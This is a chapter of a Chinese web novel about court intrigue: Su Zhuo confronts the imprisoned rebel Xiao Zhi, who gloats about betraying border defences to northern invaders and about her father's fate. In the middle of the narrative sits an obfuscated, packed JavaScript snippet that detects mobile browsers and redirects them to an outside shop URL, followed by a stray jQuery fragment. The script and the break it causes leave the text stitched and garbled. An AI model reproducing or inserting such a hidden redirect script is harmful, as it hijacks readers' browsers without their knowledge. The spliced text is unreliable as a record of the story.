良久，他缓缓点头，声音有些沙哑：“准。传朕旨意：苏诚手记及萧执、陈东平通敌谋逆诸般罪证，即日刊印，发往各州府县衙，张榜公告，晓谕天下。着史馆将此事始末，详实载入国史，苏诚忠义，永志不忘！”
“陛下圣明！”这一次的呼声，比先前更加响亮，带着由衷的叹服。
苏灼终于躬身，行了一个标准的民女见君之礼：“民女，代亡父，谢陛下。”
她没有称“臣妾”，依旧自称“民女”。萧寰眼底黯了黯，却终是挥了挥手，示意她起身。
朝会散去，百官怀着各异的心情退去。苏灼在两名影卫的陪同下，走出太和殿。风雪已停，天空却依旧阴沉。宫道上的血迹已被匆匆清理，只留下淡淡的水痕和刺鼻的气味。
她没有去任何宫殿，而是跟着影卫，来到了皇宫西北角一处偏僻但干净的小院——这是李琰提前安排的临时居所。
刚进院门，便见江一苇立在院中那棵光秃秃的槐树下，青衣落雪，似乎已等了片刻。
“江先生。”苏灼停下脚步。
江一苇转身，目光快速扫过她肩头的伤：“伤口需重新处理。”他语气平常，却带着不容拒绝的意味，“我带了药。”
屋内炭火已生起，温暖驱散了寒意。
江一苇手法熟练地帮苏灼清理伤口、上药、包扎。整个过程两人都没有说话，只有布料撕裂、药瓶开合的轻微声响。
“李询将军已率北荻军精锐驻扎城外十里。”江一苇系好绷带，才开口道，“陈东平调动的两个大营兵马，见陛下现身，周将军兵至，已不敢妄动。京城防务，李琰正在接手。”
苏灼点点头：“多谢。”顿了顿，又道，“江先生，北荻……蛮族之事，陈东平临死前所言……”
江一苇面色凝重起来：“我已命人八百里加急，传信黑水关及北荻各隘口，严加戒备。李询将军也派了斥候往北深入查探。陈东平与萧执经营多年，与北莽勾结极深，此番狗急跳墙，引外敌入寇，并非不可能。”他看向苏灼，眼中带着担忧，“若蛮族真的大举南下，刚刚稳定的朝局，恐将再起波澜。”
苏灼沉默。父亲的手记里，也提到萧执与北莽贵族交易军械、泄露边防，若对方趁此机会……
“我必须去见一个人。”她忽然道。
江一苇了然：“萧执？”
“是。”
天牢最深处，阴冷潮湿，气味污浊。
萧执被单独关在一间狭小的囚室里，手脚戴着沉重的镣铐。他手腕上的箭伤已被草草包扎，血迹浸透了肮脏的布条。短短几个时辰，这个曾经权倾朝野的亲王，已彻底失去了所有光彩，蜷缩在角落的稻草堆上，像一条衰老濒死的毒蛇。
铁门打开的声音让他动了动。
苏灼走进囚室，手中提着一盏风灯。昏黄的光照亮了萧执灰败的脸和浑浊的眼睛。
“你来啦。”萧执竟然笑了，声音嘶哑难听，带着一种癫狂的意味，“来看老夫如何落魄？如何像条狗一样等死？”
苏灼将风灯挂在墙上，面无表情地看着他：“陈东平说，蛮族大军已在路上。是真的吗？”
萧执的笑声更大了，牵动伤口，咳出几口血沫：“哈哈哈……怕了？你们以为扳倒老夫，就赢了？做梦！”他猛地瞪大眼睛，眼中尽是恶毒与疯狂，“老夫经营北荻通道十几年，送给北莽王庭的，可不只是金银珠宝！边防虚实，**，关隘弱点……他们早就一清二楚！如今老夫倒了，陈东平也完了，北莽那位大汗，岂会放过这等天赐良机？”
他喘着粗气，死死盯着苏灼：“知道为什么选在这个时候吗？因为离朝内乱，皇帝‘驾崩’，权臣篡位，正是最虚弱的时候！大军一动，摧枯拉朽！你们挡不住的！离朝的江山，迟早要换主人！哈哈哈……”
疯狂的笑声在狭窄的囚室里回荡，令人毛骨悚然。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160551|196593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏灼的心，一点一点沉了下去。萧执的样子不像虚张声势。那是一种赌徒输光一切后，拉所有人陪葬的怨毒和快意。
“我父亲，”她忽然问，声音冷静得自己都意外，“他在哪里？”
萧执的笑声戛然而止。他眯起眼睛，打量着苏灼，半晌，才古怪地扯了扯嘴角：“苏诚？那个硬骨头？告诉你也无妨……一年前那场袭击，他确实没死。不过，他中了离魂草的改良剧毒锁魂散，又被老夫的人重创，就算还活着，也离废人不远了。至于具体在哪儿……”他阴恻恻地笑，“北地茫茫，或许在哪个冰窟里等死，或许……早就被野狼啃得骨头都不剩了！苏灼，你父亲因你而受尽折磨，你就算赢了老夫，又有什么意思？哈哈哈……”
苏灼指甲深深掐进掌心，用疼痛压制着翻涌的杀意和悲恸。她盯着萧执，一字一句道：“你会看到蛮族如何败退，看到离朝江山如何稳固。而你，会在这暗无天日的地方，慢慢腐烂，遗臭万年。”
说完，她不再看萧执扭曲的表情，转身提起风灯，走出了囚室。
铁门在身后重重关上，锁**萧执歇斯底里的咒骂和狂笑。
天牢通道漫长而黑暗，只有手中一点微光摇曳。苏灼一步步走着，肩头的伤隐隐作痛，心中却比任何时候都更清醒，也更沉重。
父亲的线索再次渺茫。
而北方，真正的狼烟，或许已经点燃。
她走出天牢，寒风扑面。远处宫檐下，一道披着玄色大氅的消瘦身影，静静立在那里，不知等了多久。
是萧寰。
他看着她从黑暗中走来，肩头白纱刺眼，脸色在风灯下更显苍白。他动了动唇，似乎想说什么，最终却只是解下自己的大氅，轻轻披在她身上。
温暖裹挟着熟悉的、淡淡的药味传来。
苏灼没有拒绝，也没有说话。
两人并肩立于风雪初歇的宫墙下，望着北方沉沉的夜空。